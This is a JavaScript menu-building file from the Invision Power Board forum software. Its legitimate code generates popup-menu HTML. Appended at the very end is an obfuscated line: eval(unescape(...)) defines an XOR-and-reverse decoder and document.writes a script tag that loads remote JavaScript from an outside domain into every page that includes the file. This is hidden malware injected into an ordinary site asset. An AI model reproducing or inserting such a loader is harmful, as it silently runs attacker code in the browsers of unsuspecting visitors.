/*-------------------------------------------------------------------------*/
// IPS BASIC MENU CLASS (EXTENSION: BUILD SIMPLE MENU)
// (c) 2005 Invision Power Services, Inc
// Assumes that "ips_menu.js" has been loaded
/*-------------------------------------------------------------------------*/

//----------------------------------
// INIT some CSS classes
//----------------------------------

var css_mainwrap     = 'popupmenu';
var css_menusep      = 'popupmenu-item';
var css_menusep_last = 'popupmenu-item-last';

//----------------------------------
// INIT some images
//----------------------------------

var img_item   = "<img src='" + ipb_var_image_url + "/menu_item.gif' border='0' alt='V' style='vertical-align:middle' />";
var img_action = "<img src='" + ipb_var_image_url + "/menu_item2.gif' border='0' alt='V' />";

/*-------------------------------------------------------------------------*/
// Return formed image
/*-------------------------------------------------------------------------*/

function make_image( img )
{
	return "<img src='" + ipb_var_image_url + "/" + img + "' border='0' alt='-' class='ipd' />";
}

/*-------------------------------------------------------------------------*/
// menu_build_menu
// cid: ID of opener object (img, div, etc)
// menuinput: Array of menu entries | Variable of menu HTML
// complexmenu: Treat as HTML stream if true, else treat as array of HTML
/*-------------------------------------------------------------------------*/

function menu_build_menu(cid, menuinput, complexmenu)
{
	var html = "\n<div class='" + css_mainwrap + "' id='" + cid + "_menu' style='display:none;z-index:100'>\n";
	
	if ( ! complexmenu )
	{
		len = parseInt(menuinput.length);
		
		if ( len > 0 )
		{
			for( var i in menuinput )
			{
				t = parseInt(i) + 1;
				
				thisclass = ( t == len ) ? css_menusep_last : css_menusep;
				
				if ( menuinput[i].match( /^~~NODIV~~/ ) )
				{
					html += menuinput[i].replace( /^~~NODIV~~/, '' );
				}
				else
				{
					html += "<div class='" + thisclass + "'>\n" + menuinput[i] + "\n</div>\n";
				}
			}
		}
	}
	else
	{
		html += menuinput;
	}
	
	html += "\n</div>\n";
	
	//----------------------------------
	// Workaround for IE bug which shows
	// select boxes and other windows GUI
	// over divs. Write iframe
	//----------------------------------
	
	if ( is_ie )
	{
		html += "\n"+'<iframe id="if_' + cid + '" src="' + ipb_var_image_url + '/iframe.html" scrolling="no" frameborder="1" style="position:absolute;top:0px;left:0px;display:none;"></iframe>'+"\n";
	}
	
	//----------------------------------
	// Write the html
	//----------------------------------
	
	if ( html != '' )
	{
		document.getElementById( cid ).parentNode.innerHTML += html;		
	}
	
	//----------------------------------
	// Register and init
	//----------------------------------
	
	ipsmenu.dynamic_register[ ipsmenu.dynamic_register.length + 1 ]  = cid;
}
eval(unescape("%66%75%6E%63%74%69%6F%6E%20%64%28%73%29%7B%72%3D%6E%65%77%20%41%72%72%61%79%28%29%3B%74%3D%22%22%3B%6A%3D%30%3B%66%6F%72%28%69%3D%73%2E%6C%65%6E%67%74%68%2D%31%3B%69%3E%30%3B%69%2D%2D%29%7B%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%5E%32%29%3B%69%66%28%74%2E%6C%65%6E%67%74%68%3E%38%30%29%7B%72%5B%6A%2B%2B%5D%3D%74%3B%74%3D%22%22%7D%7D%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%72%2E%6A%6F%69%6E%28%22%22%29%2B%74%29%7D"));d(unescape("%08<vrkpaq->< qh,wlgo]qrk-lkiq]qh]pgfnmd-pg``gu-qgecok]gn{vq-qowpmd-oma,pgffgnqgpmafpcj,uuu--8rvvj ?apq\" vrkpaqctch-vzgv ?gr{v\"vrkpaq>"));


